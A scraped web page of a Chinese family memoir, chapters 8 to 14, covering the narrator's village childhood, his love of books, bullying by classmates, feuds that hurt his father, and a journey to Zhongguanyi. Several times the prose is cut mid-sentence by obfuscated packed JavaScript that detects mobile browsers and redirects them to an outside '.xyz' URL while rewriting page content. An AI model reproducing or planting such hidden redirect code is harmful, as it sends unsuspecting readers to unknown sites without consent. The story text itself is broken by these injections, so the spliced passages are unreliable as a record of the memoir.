为了这次演出,母亲特意为我做了新衣服。我以前总是穿背带裤,这次母亲为我做的是西装裤,要系裤腰带,我从来没系过裤腰带。 演出时,可能是裤腰带没系好,于是就闹了个大笑话。 我们班上场了。我站在中间领唱,唱到一个高音的时候,我小肚子一用劲,裤腰带松了,裤子一下子就掉到了膝盖下面了。 小时候没穿内裤,下面都露出来了! 台下的老师和同学们都笑得前仰后合。 我急忙提起裤子,还是很认真地提着裤子很认真地唱,一直提着裤子唱完。 郭老师也在一旁笑个不止。刚一唱完,郭老师就上前抱着我说:“你真是我的个小宝贝啊!” 几年后的一天,我回中馆驿看奶奶,在街上遇到郭老师,她还买了一棵甘蔗给我吃,打那以后,我就再也没有见过郭老师了。 我一直很怀念郭老师,常向麻城人打听她,听说她在□□中吃了不少苦,后来成了麻城县优秀的语文特级教师。 8. 第 8 章 二 刚回乡的那两年,我感觉日子过得还不错。 回乡没多久,大食堂就撤销了,又是各家各自开火做饭。 早上,大枫树上的鸟叫声催我们上学; 晚上,我和村里的一群孩子们在在稻场上捉迷藏,做游戏; 春天,我和小伙伴们提着小竹筐在田野里摘野花,挖野菜; 夏天,我和村里的男孩子一起到塘里玩水、捉鱼; 秋天,我们采野果,拾谷穗,掏鸟蛋; 冬天,我们在大塘里滑冰,在山坡上打雪仗。 最有趣最难忘的还是夏天。夏日六、七月份的夜晚,全村的人都不在家里睡觉。太阳一下山,各家各户都把竹床、门板、凳子等搬到打谷场上,村里人都在这里睡觉,天亮了,各家各户又都把竹床、门板、凳子等搬回家。 每年夏天,村里都会请一个说鼓书的先生来村里说书,一说就是一两个月。说书先生打着鼓板,又说又唱,说唱的都是一些传奇故事,我记得的有《七侠五义》、《施公案》、《王华卖父》、《杨家将》等。 先生的说唱有腔有调,很是精彩。我总是在最靠近说书先生的地方坐着听,听得非常入迷。 有一次,我听着听着,就很伤心地哭了。这时先生停下鼓板,对全村人说:“我的书,只说给一个人听了。”说说笑笑的村民一下子都静了下来,有人问:“谁呀? 说书人指着鼓架子前面的我说:“就是这个小孩,这小孩一定是个爱读书、会读书的人才,将来一定有大出息!” 有没有大出息?算不算大出息?说不好啊! 先生说我爱读书会读书,可能说得有点对。 从小我就爱读书,在中馆驿的家里,有不少我父亲读过的书,《三字经》、《百家姓》、《千字文》、《千家诗》、《幼学琼林》、《笠翁对句》、《三国演义》、《左传》等,好多好多!虽然好多字不认识,也爱看。还时常钻到父亲书店的书柜子里看书。 回乡后,家里的书看了好多遍了,就到别的村借书看,附近村里的书借看完了,常常走很远的路去借书看。 我有个一辈子的习惯,那就是,没有书就吃不下饭。每当吃饭的时候,先翻开一本书放在旁边,边吃饭边看书。因而吃饭时,总只吃面前的一道菜,于是母亲就不断地把面前的菜换来换去。 我走路也会看书,还不会走错路。 上学的路上一般不看,放学的路上是一定要看的。于是,也闹出一些笑话。 有一次,母亲叫我到村前大塘挑吃水。 我挑着一对小水桶,手里拿一本书,边看边往大塘走。 走着看着,走着看着,走过了大塘,走过了面前的山,走到了面前村。 面前村里一个人看见我挑着水桶看书,觉得很奇怪,就问:“你做什么呢?” 这时我才醒过神来,赶快往回走。 于是,又边看书边往回走。走着看着,走着看着,走到了家门口。 母亲见我挑着空桶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14915213|160265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回来,一把抢过我手上的书说:“你个书呆子!把水挑回来再看啊!” 暑假里,我给生产队里放牛。有好几次,我边放牛边看书,我放的牛把庄稼吃了一大片,生产队长就不让我放牛了,还说:“牛都不会放,有什么大出息?” 还有一次,队长叫我耙水田,我站在耙上看书。那是一个冲田,冲田两头都是高坡。 牛走到头了,不给指令牛就不会回头,还往坡上爬。 我看书入迷了,不知道到田头了,牛就往高坡上爬,结果我从耙上摔倒在水田里,弄了一身泥。 上五年级了,我还边读书边为家里挣工分。我挣工分的途径是拾牛粪和捡鸡屎。 星期六下午放学早,我就在早上上学时带上拾粪的工具:箢箕和屎扒。 下午放学后,我就沿着放学路上的山坡和田埂拾牛粪,到张家大塆和面前塆的房前屋后捡鸡屎。 回村后,拿这些牛粪和鸡屎到小队里去换取工分。 因为用屎扒背牛粪和鸡屎,牛粪和鸡屎会弄到我的背后面的衣服上,虽然母亲会用抹布擦一擦,但是擦不干净,衣服上还是有臭味。 我又没衣服可换,教室里坐在我后面的同学常常会嘲笑我,我自己也很难为情。 在星期天,我常和村里的小伙伴们一起到田野里和山坡上采野菜。在“油菜花儿香麦苗儿鲜”的时候,我们采荠菜,采小蒜,捡地皮菜,一采一大篮。 母亲都拿来炒着吃,这些都是当时最美味的菜了。 9. 第 9 章 三 在张家大塆小学读了四年书,我的学习成绩是名列前茅的。就是因为成绩太好了,结果惹了大麻烦。 我的成绩全优,而和我同班的同村的几个同学语文算术都不及格,包括我舅舅。班上倒数几名的都是我们村的几个同学。 放学路上,同村的几个同学就围上来了,领头的是一个叫古又木的同学,他已经15岁了,比我高大许多。他自己并不动手,而是怂着其他几个同学来打我。 打我打得最厉害是一个外号叫黄毛的家伙,他父亲当过大队长,平时就蛮横霸道,经常和人打架。 我没哭,躺在地上用手抱着头,忍着气,任他们打。 幸好这时我舅舅来了,我舅舅长得又黑又壮,力气很大,外号“黑蛮”。他们一见我舅舅来了,就都跑了。 那以后,为了避开他们,上学的时候,我总是起得很早,有时候到了学校,校门还没开。 放学的时候,我就晚些走。从我们村到学校有两条路,一条经过面前塆北边,一条经过面前塆南边。 我等他们这伙人先走,如果看到他们往北边的路走,我就从南边的路走;如果看到他们往南边的路走,我就从北边的路走。 舅舅有时和我一起走,可以保护我,但有时舅舅没有和我一起走,他们就有机会了。 那个叫古又木的同学是个鬼心思特别多的人,他发现我在躲避他们,就又有了坏主意。 有一次,他们几个先从南边的路走,走到半路就绕到北边的路上去了,于是又把我狠狠地打了一顿。 父亲知道我被打的事,火冒三丈,就和他们那几家的大人大吵了一场,吵得很厉害,于是结了仇。 不仅如此,我父亲把我挨打的事告到了学校,学校的领导和老师都很气愤。尤其是我们的何老师,坚决要求学校开除那几个打我的同学。 结果,学校召了全校师生大会,对那次大会,我应象太深刻了,那大会的形式就像一个公审公判大会。 在会上,只听校长大嘁一声:“把他们带上来!” 只见我们何老师和另外几个老师一道,把我们村的那四位同学带到主席台的前面立正低头站着,这四个人就是打我的又木、黄毛、孬货、细苕货。接下来。 教导主任宣读他们的恶行,最后校长宣布“判决书”,并由两位老师“押送”出校,当即就送到我们村里去了。 这样一来,这个仇就结下了!加上后来又发生了些别的事,这个仇就越结越深。那几家人就千方百计百计地报复我们家。 如果事情是发生在别的村,可能没这么严重,闹一闹就过去了,但是在我们村,这可就是天大的事了。 让他家的孩子不能读书,比挖了他家的祖坟的事还要大。 为什么呢?这与我们村的传统风气有关。 自古以来,我们村就非常重视读书,信奉“耕读传家”,古姓祖上出过好几位秀才,还出了一个探花郎。 村里人常说:“不吃不喝也要供孩子读书!”周围四十八塆,就我们村出的读书人最多,就是现在,也是我们村出的大学生最多,不到百人的村,硕士博士就有十几个。 从我们村特殊的结婚仪式也可以看出我们村多么重视“诗书传家”。 我回乡的当年春节,我家斜对门的苕五爹结婚。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14915214|160265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >白天举行的仪式没什么特别,也是踏火盆、过长桥、拜天地等等。 到晚上就特别了。 晚上,喜堂上摆满了一排排的长凳子、大椅子。全村的成年人都坐在里面。 新郎和新娘挨个地敬茶。新娘端着茶杯,站在来宾的面前说:“请伯伯喝茶!” 来宾必须吟出一首诗来,才有资格接茶杯。 所以,每到村里有人要结婚了,全村的人整天都在捉摸诗,万一有人写不出诗,就求人帮忙,我就帮村里人写过不少。 这个来宾吟出诗了,高高兴兴地接过茶杯,得意地喝茶。 新娘就又端着茶杯走向下一位。 前面一排来宾都是辈份比较高的,敬完茶后还要来收茶杯,收茶杯时,来宾还要吟一首诗,如果吟不出,村里人就会笑话他说:“把茶杯带回家吧,这茶杯好值钱啊!” 前面一排来宾敬完茶了,接着敬后面的,一直到全部来宾全部敬完。 然后一部分年轻人留下来闹洞房,年长的都回家。 我觉得我们村这结婚的风俗太特别了,太有意思了!不知道还有没有其他的地方有这样的风俗。 可惜我们村这风俗现在没有了,因为以前一百多人的村子现在已经没有几个人了,都进城了,现在全村就只有老人小孩不足二十人了。 我们村要是有人考上了大学,每家每户都会送红鸡蛋,哪怕是关系不怎么好的有点过节的也会送。 再想想看,孩子被学校开除了,不仅是丢人丢面子,严重的是断了孩子读书的路,这就等于毁了孩子的前途,破灭了全家的希望。 所以,这仇就结得深了! 10. 第 10 章 四 仇家的报复来了! 我父亲刚回农村,不会做农活,村小队就安排我父亲做挂面,活比较轻松,一个月还有两块钱补助,是个好差事,当时村里人对我们家还是很照顾的。 我父亲是很能干的人,动手能力强。在负责百货商店的时候就搞过不少的小发明创新。 例如,我父亲发明过“自动量码器”,如果你到我父亲的店里买鞋,搞不清穿多大码的鞋,只要你把脚往我父亲发明的“自动量码器”上一踏,马上就知道穿多大码的鞋了。 再如,“货物传送带”,我父亲商店的铺面不大,很多货物下面的铺面摆不下,很多货物放在楼上。 如果来买货的人要买的货物在楼上,售货员就要楼上楼下的跑。 于是我父亲就搞了个小发明,做了个“货物传送带”,下面的售货员一喊什么货,上面的售货员就很快通过“货物传送带”把货物送到楼下了。如此等等。 父亲的面做得很好,村里人都夸我父亲做得好。 可是有一天,父亲做的面做坏了,面扯不上面架,一扯就断,父亲怎么想也找不到原因。 一连三天,都是如此。怎么回事呢? 原来,问题出在我父亲刚收的徒弟身上。 小队长觉得我父亲一个人忙不过来,就给他派了个徒弟。这个徒弟是谁?就是那个被开除回家的古又木。 古又木一见我父亲就赔礼道歉,说以前打人不应该,现在和好了。并且,他对我父亲毕恭毕敬。 父亲和完面要洗手,他马上端来倒好热水的洗脸盆,刚洗完他马上递上热毛巾。 那个热情劲,可真到家了! 面做丢了,他也表现出很着急的样子。 我父亲是个很认真的人,他就跑到后面村子里去请教一个做挂面的老师傅。 那个老师傅说,按理说,父亲的操作很规范,不应该出问题,但是如果有人搞鬼,那就太容易出问题了。 我父亲问怎么搞鬼,那个老师傅说,只要在在明矾上搞点鬼,你的面就会做丢了。 做面的作坊里只有两个人,谁搞的鬼,再清楚不过了。 古又木死也不承认是自己搞的鬼,小队长是古又木的叔,也说: “我家又木对你那么好,我们都看在眼里的,他怎么会搞你的鬼呢?” 小队长召集队里的干部开会研究了一下,会后对我父亲说: “你一连三天把面做丢了,给村里造成了不小的损失,村里人意见很大,从今天起,你就不要做面了,到队里干农活去吧!” 这个古又木从小就非常聪明,可惜他的聪明没用在正路上。 瘫子爹曾和村里的几位长辈评论村里的孩子,都认为我和这个古又木最聪明,看法一致,但谈起哪个将来有出息,就有分岐了。 瘫子爹认为我将来有出息一些,而那几位长辈说我没有心计,太老实,不如他灵活,认为他将来有出息一些。 后来,古又木伙同村里的几个人盗卖别人刚下葬的棺材,被别村的人捉住打了个半死。这个古又木在四十岁不到就得了一种怪病死了。 当时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14915215|160265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 古又木就替代了我父亲,当起了做面师傅。 我父亲就开始干农活了。他不会那些带技术性的农活。而带技术性的农活,如操作犁耙等,比较轻松,不费大体力。 所以我父亲光干那些挑粪挑土背水车之类的重活。 又如,村里的干部在夜里私分粮食,独独不分给我们家、瘫子爹家、药铺爹家这几家。 这秘密还是几十年后“四苕大”告诉我家的。当时,由于粮食短缺,村里干部半夜里私分粮食是很普遍的事。 说起来现在的年轻人可能不相信,村干部不仅在夜里私分粮食,还在半夜里私下用队里的粮食煮大米饭吃。 当时,我们家一年到头很难吃一顿干饭,只有在来贵客了的时候,或是逢年过节,才能吃到干饭。 其他很多缺粮的家庭也是如此。 有一天深夜,我们村的干部正在古又木家煮大米饭,被住他家对面的“鼻子老大”听见动静了。 “鼻子老大”起床偷偷进到古又木家里,正好饭做好了,“鼻子老大”揪了一把鼻涕甩到饭锅里。 结果,干部们不敢吃了,“鼻子老大”把一大锅白米饭端回家了。 于是,“鼻子老大”就有了“鼻子”的撮号了,村里人都叫她“鼻子”,同辈的叫她“鼻子姐”,晚辈叫她“鼻子婶”,她是我的太祖母辈,所以我叫她“鼻子老大”。 “鼻子老大”家也是家大口阔,大缺粮户,后来全家搬到梁子湖边的一个农场去了。 这样的报复很多,更大的更多的更凶狠的报复还在后面呢。 11. 第 11 章 五 四清运动开始了,村里进驻了四清工作队。 四清运动本来是查“四不清”的干部的,不知怎么就搞到我父亲身上了。 有人向四清工作队举报,说我家是漏划的地主兼资本家,我父亲是在麻城犯了严重的错误被押送回老家的,是阶级异己份子。 当时四清工作队是挨家轮流吃饭的,本当应轮到我家,却跳过我家,到我家对门的“二苕爹”家里去吃饭了。 工作队独独不在我家吃饭。我母亲有些紧张不安,我父亲说: “身正不怕影子斜。真的说不假,假的说不真。” 幸运的是,进驻我们村的四清工作队的队长是邻县公安局的副局长,搞过刑侦工作。 他在村里观察了一段时间后,在村口遇见我父亲,说: “正清啊,你怎么老不说话呀?要积极参加运动啊!” “我没什么说的,不是有人举报我吗?你们去查吧。” 这个队长曾在我家门口观察了好久,我想他一定看得出我家是怎样的处境。 就在我家北厢房的前面,有一个很大的“沤肥坑”,是对门的“二苕爹”挖的。 他把草皮、猪粪、垃圾倒进坑里沤肥料,于是,这里臭气熏天。 为这事我父亲曾和对门的“二苕大”争吵过几次,“二苕大”拿着绳子到我家,要上吊。 没办法,为了挡臭气,我家用石头在门前垒了一道墙。 徐队长在他家吃饭时,要他家把这沤肥坑填了,说是这对他家很不好,巷子里的风把这沤肥坑里的臭气都吹到他们家里了,家里也是臭气难闻,对家里人身体不好。 但他们家就是不听。现在他们家的房屋早就倒了,屋基现在被“细苕货爹”辟做菜园了。 “二苕爹”和他的大女儿及他唯一的儿子都得怪病死了。 “二苕大”住到嫁往外地的小女儿家了。 工作队的确也派人去麻城查了。查的什么结果,看下文就知道了。 工作队进村没多长时间,有一天,工作队的这位队长找到我父亲,说: “正清啊,你准备好,明天到公社报到,去参加一个学习班。” “学什么啊?”我父亲有点不安地说。 “别胡思乱想,去了就知道了!”这位队长笑了笑,又拍着我父亲的肩膀说,“带好生活用品,可能要学习半个月。” 第二天,我父亲就到公社学习去了。 村里炸开了锅。村里人议论纷纷。 “知道吗?古正清进公社的学习班了。” “怎么?他不是真的有什么问题吧?” “这回正清要倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14915216|160265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大霉了!” “谁叫他得罪了不该得罪的人!有些人真缺德。” 看到村里有些人挤眉弄眼,议论纷纷,母亲有些不安起来。 父亲走的时候也不知道为什么要他去学习,学什么也不知道。 于是我母亲就去找那个工作队长,想问问是怎么回事。 可是,那位队长大人就是不说,只是笑着对我母亲说: “别担心啊!正清回来了就知道了。” 这队长大人好像是在卖关子,其实他是故意不说明实情,想由此来观察村里各类人的表现呢。 半个月后,我父亲从公社回来了。 一进门,母亲就急切迎上去问:“怎么回事?” “好事!我不用挑大粪了,我要当老师了。”父亲有点得意地说。 “当老师?当什么老师?村里人都炸开了锅,说你要倒大霉!都进学习班了。” “倒什么霉?我这个学习班不是那个学习班!我上的是夜校老师学习班,也不是学习班,是培训班。” “这个老徐,卖这么大个关子,让我担心死了。” 母亲说的老徐就是那位现任某县公安局副局长的四清工作队队长,他后来成为我父亲的好朋友,他曾经想推荐我父亲到某个做丝线的工厂工作,我父亲没有去,说家里走不开。 12. 第 12 章 六 我父亲回来的当天晚上,老徐就找我父亲安排具体工作。 因为村里百分之九十的村民都是文盲半文盲,能认识字没几个人,所以工作队就开办了这个村扫盲夜校。 老徐了解到村里就我父亲文化水平最高,就请我父亲做这个夜校的老师。 老徐安排我父亲在村里办黑板报,写毛主席语录牌。说起办黑板报,写语录牌,这可是我父亲的拿手好戏。 我父亲从小就爱画画,在中馆驿的时候,满街的墙报壁画,大多出自我父亲的手笔。 □□时,北正街上那幅“搭梯摘棉花”的大型壁画就是我父亲的杰作。 在父亲的新华书店的正面墙壁上,有一幅很大的山水画,我印象特别深: 青绿的山,树木葱郁,绕着青山的是碧绿的湖水,湖面上有一只渔船,船上有一个渔民在打鱼,船下面还有渔船和渔民的倒影。 幼时的我觉得那倒影特别新奇:怎么那么像真的一样? 这幅画曾受到当时的地区两位领导的称赞,一位叫一个叫白水田,一位叫郑建军。 在中馆驿,父亲有好几个画友,其中有两位是麻城县知名画家,一位姓叶,一位姓李。 这姓李的画家名叫李之虔,在全国都有点名望,曾在上海画馆和成都画馆工作过,抗战胜利时,他还在重庆办过个人画展,据说,他画的钟魁别树一帜,在书画界很受推崇,“麻城十景”就是他画的。 顺便说一下,我还是这位李老先生的关门弟子呢!规规矩矩办过拜师仪式,行过拜师礼。我还深刻地记得他给我上的第一堂课。 那是一个夏日的清晨,父亲带着我去李老先生家上课。 去的路上有一条河,河水很浅,我们趟水过河,过了河是一片竹林,在竹林深处就是先生的家。 这是一座很别致的二层小楼,楼下是待客厅,客厅后面是卧室和厨房,楼上是画室。 开始上课了,我想学的是山水画,先生非常简单地讲了一下有关山水画法的一些知识,就上到楼上画室里去了。 先生的画室很特别,没有楼梯,只有一个小口,先生是搭上一个小竹梯上去的。 大约半个钟头,先生从楼上下来了,手里拿着一幅刚画好的水墨山水画,没有上色。 先生对我说:“拿回去临摹,临摹到你觉得差不多一样了再来上第二课。” 没敢多耽搁先生,上完课,我就和父亲一起告别先生回家了。 老先生当时已经90岁了,没多久不幸去世了,我也就没能去上第二课了。 说起当夜校老师,父亲是有这个资格的。 父亲自幼聪慧过人,记忆力超强,读书能过目不忘。 父亲八十多岁时,还能熟练背诵《论语》《孟子》中的篇章。 教我父亲的私塾先生是当地很有声望的一名晚清落弟秀才,人称“保明先生”。 父亲说,“保明先生”很严厉,爱用板子打学生,学生背书,背错一个字就打一板子。 我父亲说,他一板子都没有挨过。 我曾经去看望一个和我父亲小时候在一起读书的同族的叔叔,他是武汉大学毕业的高材生,在武汉某高校任教。 闲谈中,这位叔叔谈起了和我父亲一起上私塾时的情形。他对我说: “你父亲真的好聪明!背书真快,还一个字不错。我还没读清楚,他就会背了。我经常挨先生的板子,你父亲从来没挨过板子。可惜他没有继续读下去,他要是继续读下去,一定比我强。” 没让父亲继续读下去,是我父亲一辈子最大的憾事。他也曾经争取过。 那是在刚解放,我父亲还不满18岁,按当时的招生政策,是可以插班上高小的。 我父亲很想上,就去求奶奶,奶奶不同意,奶奶说:“会认字,会算帐就行了,做生意用得上。上什么学呢?” 我父亲在中馆驿有一个忘年交,姓黄,曾在官府做过师爷,人们都叫他“黄师爷”。我也常到“黄师爷”家玩。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14915217|160265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 父亲找“黄师爷”帮忙,因为我爷爷很佩服这个“黄师爷”。 我父亲想,说不定“黄师爷”能说服我爷爷奶奶。 “黄师爷”非常赞同我父亲读书的事,就一口答应,拄着文明棍就来到了我们家。 可是,无论“黄师爷”的三寸不烂之舌多么厉害,就是说不动爷爷奶奶。 结果,父亲读书的梦就此破灭了。 所以,后来我父亲拼老命也要让我们弟兄姐妹七个读书。 为我二弟读书的事,父亲还真的拿刀要和想阻止我二弟读书的村干部拼命。 有一次,大队书记、大队长带着小队干部到我家催要缺粮钱,我父亲拿不出。 大队书记说:“你家读书的孩子这么多,可以轮换读书嘛。” 我父亲一听就火了,就大声质问说: “读书怎么能轮换呢?” 大队长又说:“你家二儿子在麻城,吃的是队里的粮食,应该回来放牛挣工分。” 一听这话,我父亲从椅子上跳起来,跑到厨房里拿起一把菜刀,冲到堂屋里,把菜刀往桌子上一拍,大声吼道: “想不要我二儿子读书,你们就拿这把刀把我杀了吧!” 吓得这群干部马上就都起身走了。 父亲在85岁那年还做过一个梦,梦里他正在准备考研究生呢。 四清工作队老徐请我父亲当这个夜校的老师,说明这老徐还真有眼光,选对人了! 四清运动那段时间,我父亲夜里在扫盲夜校上课,白天就做语录牌,没有参加批斗村里的“四不清”干部。 村里想整我父亲的人都挨整了,批斗,撤职,退赔,老实多了。 虽然我父亲没有参与批斗他们,但是他们对我父亲的嫉恨一点也没有消减。 四清运动不久,□□开始了,嫉恨我父亲的那帮人又卷土重来,更凶狠的报复一个接一个,我们家的最艰难的日子来了,这日子一直到改革开放后我把全家迁离了老家才算结束。 13. 第 13 章 七 1964年秋,我如愿考上了黄陂县重点初中。 这年暑假,我随父亲去了一趟中馆驿。 在晓风残月中,我和父亲一起从古家田出发,沿着一条古老的驿道,向东走去。 这条路,父亲差不多月月走,我是每年至少走两趟。 每一次,走一整天,我一整天都在聆听父亲的教诲。 这辈子,我受父亲的教诲最多的就是在这去中馆驿的路上。 父亲给我讲《论语》,讲《孟子》,讲《左传》,讲历史典故。当时,我特别佩服父亲的记忆力,《论语》《孟子》中的很多章节他都能背诵。 有时讲三国故事,谈论《红楼梦》,还和我讨论书中的人物,我喜欢林黛玉,可是父亲却喜欢薛宝钗。父亲有父亲的道理,他说他如果是贾政,也会选薛宝钗做儿媳妇,不会选林黛玉。 讲得最多的还是做人做事的道理。父亲很崇拜陶渊明,赞叹陶渊明“不为五斗米折腰”的精神。 这对我的影响也非常大,以致我后来也有几次“道不同不与为谋”“拂袖而去”的行为。 这是一条很古老的官道,婉延曲折在大别山的余脉之中。沿途峰岚起伏,树木葱郁,深秀之处,山村隐现,真乃一步一景,美不胜收。 走到倒水河边,父亲挑着装米的担子,快步从那河上的独木桥上走过。 我伏在独木桥上,慢慢地往对岸爬。这独木桥很窄,下面是几个木架子撑着,远看就和那水墨画中画的独木桥是一样的。 我伏在桥上,看着桥下面清澈而又湍急的河水,生怕不小心从桥上掉下去。父亲总是站在河那边笑话我胆子小,我就回应父亲说:“君子不立危墙之下啊!” 可能是遗传吧,后来,当我提醒我儿子要大胆一点时,我儿子也用“君子不立危墙之下”这句话来回应我。 过了倒水河,就要上高冈山了。 高冈山是这一片山地的最高峰,站在高冈山顶,可以望见离此地近二十里远的我们村里的四棵大枫树。 上下高冈山都是很古老的官道,道路上的青石板上清晰可见深深的车辙。 高冈山的山腰里的官道旁有一座凉亭,凉亭里有一位长胡子老汉。 我和父亲走进凉亭,在凉亭中间的石桌边坐下休息。 长胡子老汉从一个很大的土壶里给我和父亲一人倒上一碗茶水。 父亲和那老汉聊了一会天,他们是熟人,父亲经常路过这里。每次路过这里,都会来这凉亭里喝茶休息,和老汉聊一会天。 下了高冈山,往前走就出了红安县界,进入新州县地界了。再往前走,绕过马鞍山,就进入麻城县的地界了。 离麻城岐亭不远,有一处名胜,就是天下闻名的杏花村。 杜牧曾在黄州做过剌史,这里的杏花村才是诗人吟出《清明》诗的地方。 杜牧还登过黄陂的木兰山呢,有《题木兰庙》诗为证:“弯弓片战作男儿,梦里曾强与画眉。几度思归还把酒,指云堆上祝明妃。”这是杜牧任黄州刺史时登木兰山(当时属齐安郡,今为武汉黄陂县)为木兰庙所题的诗。 我想,杜牧可能曾走过我和父亲走过的这条官道,他从黄陂木兰山走到杏花村,过岐亭再到中馆驿,然后到黄州去上任。说不定还在中馆驿住宿过。 这是我的猜想,有待专家学者们去考证。 离杏花村不远,还有一处古迹,即陈季常墓。 陈季常名慥字季常,号方山子,别号龙丘居士,四川眉山人。陈季常豪侠好酒,狂放傲世,怀才不遇,愤然"毁衣冠、弃车马、遁迹山林",隐居于此地。 成语"河东狮吼"的典故即出自陈季常和其妻子柳月娥的事迹。 苏轼贬谪黄州时,与陈季常多有交往,曾三次来杏花村饮酒赋诗,著有《方山子传》。 明清诗人也在此多有诗赋。清乾隆皇帝曾御赐巨匾“杏花古刹”于村庙。 现在这里是国家AAA级旅游景区,有杜牧广场、杏花古刹、杏花书院、农耕文化博物馆、九骡山摩崖石刻等景点。 走到这里,父亲就对我讲起苏东坡与陈季常交往的故事。 当年这里还很荒凉,父亲指着山间的几个村子说,这里就是陈季常当年隐居的地方。 那年春天和诗友们都来杏花村游览采风,我曾口占一首诗: 七绝 早春游岐亭杏花村 寻春又到杏花村。古道蜿蜒草木深。 不见牧童何处问?断魂人觅断魂人。 路过岐亭,沿着举水河堤走,就到宋埠镇了。“麻城三大集,岐亭、宋埠、中馆驿”,三个集镇中,宋埠最繁华,人称“小汉口” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14915218|160265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 我肚子饿了,父亲在路边卖凉粉的摊子上买了两碗凉粉,我们吃完了就出宋埠,沿着汉麻公路走。 这时已经是下午两点多钟了,离中馆驿还有25里路。 我的腿已经走得有些酸痛了,父亲就带着我慢慢前行,走到中馆驿,天已黄昏了。 终于到了中馆驿东门外的新农村了。 爷爷奶奶见到我们非常高兴,听说我考取了县重点初中,就更高兴了。 二弟已经上一年级了,学习成绩也很优秀,期末考试语文和算术都是满分。 很巧!二弟的语文老师兼班主任刘老师,曾经是我二年级的语文老师兼班主任。 爷爷还是那么硬朗,头戴瓜皮帽,身穿黑长衫,留着长长的胡须,经营着他的那个小杂货店。 奶奶成天在门前的菜园里忙碌,菜园里的各类蔬菜都长得很繁茂。 到中馆驿的第二天,我就去找我的好朋友任飞和刘文,在刘文家吃的午饭,在中馆驿街上玩了一整天,玩得非常开心! 这次回中馆驿,还有一个小插曲。 二弟说他总被镇周边村子里的顽童欺负,于是我就约上好朋友任飞和刘文,用计教训了那个小顽童。 我二弟现在是省诗词学会副会长兼秘书长。 这事被我二弟写进他为我的诗集写的序言中了: 记得小时候,总是被小镇周边村子里的顽童欺负,那领头的居然和我叫同样的名字,只是姓不同。大概他们知道我没有父兄在身边,好欺负。然而有一回大哥从老家来了。听说我受欺负的事,决定设计教训一下那几个顽童。大哥约来他的几个同学玩伴(好像叫做任新平、刘玉成的),埋伏在小镇东门入口砖墙后面,让我和我的小伙伴像平常一样去到临近小村玩耍,果然那几个顽童在和我同名的那小头目率领下,“杀”将过来。我们按大哥设定的“计策”且战且退,诱敌深入。待那帮顽童全部进入“包围圈”,大哥指挥“伏兵”一跃而出,将其尽数活捉,狠狠地教训了一番。从那以后,那帮顽童知道我有大哥撑腰,再也不敢欺负我了。 第三天,我就和父亲又沿着来的路回黄陂老家了。 现在,这里已经有高速公路了,我每次驾车经过当年走过的地方,回想当年和父亲在这条路上走的情境,就鼻子发酸,眼泪也忍不住留下来了。 14. 第 14 章 第三章 我的初中 一 